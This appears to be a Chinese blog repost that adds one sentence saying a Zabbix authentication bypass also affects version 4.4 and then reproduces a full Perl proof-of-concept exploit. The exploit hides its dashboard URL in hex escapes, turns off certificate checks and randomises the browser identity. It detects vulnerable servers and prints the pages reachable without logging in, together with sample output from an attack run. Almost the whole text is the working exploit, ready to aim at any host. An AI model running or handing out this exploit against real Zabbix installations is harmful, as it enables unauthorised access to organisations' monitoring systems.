昨天的文章 Zabbix 4.2(最新版) - Authentication Bypass 提到Zabbix 的认证绕过的漏洞，并给出了poc。但是文中有个纰漏，4.2不是最新版，现在已经更新到4.4 版本。尽管如此，最新版本4.4也存在漏洞。

#!/usr/bin/perl -w##  Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit##  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>##  #  [ Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit#  #  [ Exploit Author: Todor Donev 2019 <[email protected]>#  #  [ Initializing the browser#  #  [ >>> Referer => #  #  [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1#  #  [ >>> Content-Type => application/x-www-form-urlencoded#  #  [ <<< Cache-Control => no-store, no-cache, must-revalidate#  #  [ <<< Connection => close#  #  [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT#  #  [ <<< Pragma => no-cache#  #  [ <<< Server => nginx#  #  [ <<< Vary => Accept-Encoding#  #  [ <<< Content-Type => text/html; charset=UTF-8#  #  [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT#  #  [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT#  #  [ <<< Client-Peer => #  #  [ <<< Client-Response-Num => 1#  #  [ <<< Client-SSL-Cert-Issuer => #  #  [ <<< Client-SSL-Cert-Subject => #  #  [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256#  #  [ <<< Client-SSL-Socket-Class => IO::Socket::SSL#  #  [ <<< Client-SSL-Warning => Peer certificate not verified#  #  [ <<< Client-Transfer-Encoding => chunked#  #  [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"#  #  [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly#  #  [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload#  #  [ <<< Title => TARGET: Dashboard#  #  [ <<< X-Content-Type-Options => nosniff#  #  [ <<< X-Frame-Options => SAMEORIGIN#  #  [ <<< X-Meta-Author => Zabbix SIA#  #  [ <<< X-Meta-Charset => utf-8#  #  [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d#  #  [ <<< X-Meta-Msapplication-Config => none#  #  [ <<< X-Meta-Msapplication-TileColor => #d40000#  #  [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png#  #  [ <<< X-Meta-Viewport => width=device-width, initial-scale=1#  #  [ <<< X-UA-Compatible => IE=Edge#  #  [ <<< X-XSS-Protection => 1; mode=block#  #  [#  #  [ The target is vulnerable. Try to open these links:#  #  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view#  #  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1#  #  [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1#  #  [ https://TARGET/zabbix/overview.php?ddreset=1#  #  [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1#  #  [ https://TARGET/zabbix/latest.php?ddreset=1#  #  [ https://TARGET/zabbix/charts.php?ddreset=1#  #  [ https://TARGET/zabbix/screens.php?ddreset=1#  #  [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1#  #  [ https://TARGET/zabbix/srv_status.php?ddreset=1#  #  [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1#  #  [ https://TARGET/zabbix/hostinventories.php?ddreset=1#  #  [ https://TARGET/zabbix/report2.php?ddreset=1#  #  [ https://TARGET/zabbix/toptriggers.php?ddreset=1#  #  [ https://TARGET/zabbix/zabbix.php?action=dashboard.list#  #  [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1# use strict;use HTTP::Request;use LWP::UserAgent;use WWW::UserAgent::Random;use HTML::TreeBuilder;my $host = shift || ''; # Full path url to the store$host =~ s|/$||;print "\033[2J";    #clear the screenprint "\033[0;0H"; #jump to 0,0print "[ Zabbix <= 4.4  Authentication Bypass Demo PoC Exploit\n";print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);print "[ Initializing the browser\n";my $user_agent = rand_ua("browsers");my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });   $browser->timeout(30);   $browser->agent($user_agent);my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);                      my $response = $browser->request($request);print "[ >>> $_ => ", $request->header($_), "\n" for  $request->header_field_names;print "[ <<< $_ => ", $response->header($_), "\n" for  $response->header_field_names;print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){    print "[\n[ The target is vulnerable. Try to open these links:\n";    my $tree = HTML::TreeBuilder->new_from_content($response->as_string());    my @files = $tree->look_down(_tag => 'a');    for my $line (@files){        next if ($line->attr('href') =~ m/javascript/);        next if ($line->attr('href') =~ m/\#/);        next if ($line->attr('href') =~ m/http/);        print "[ ", $host."/zabbix/".$line->attr('href'), "\n";    }} else {         print "[ Exploit failed! The target isn't vulnerable\n";        exit;}

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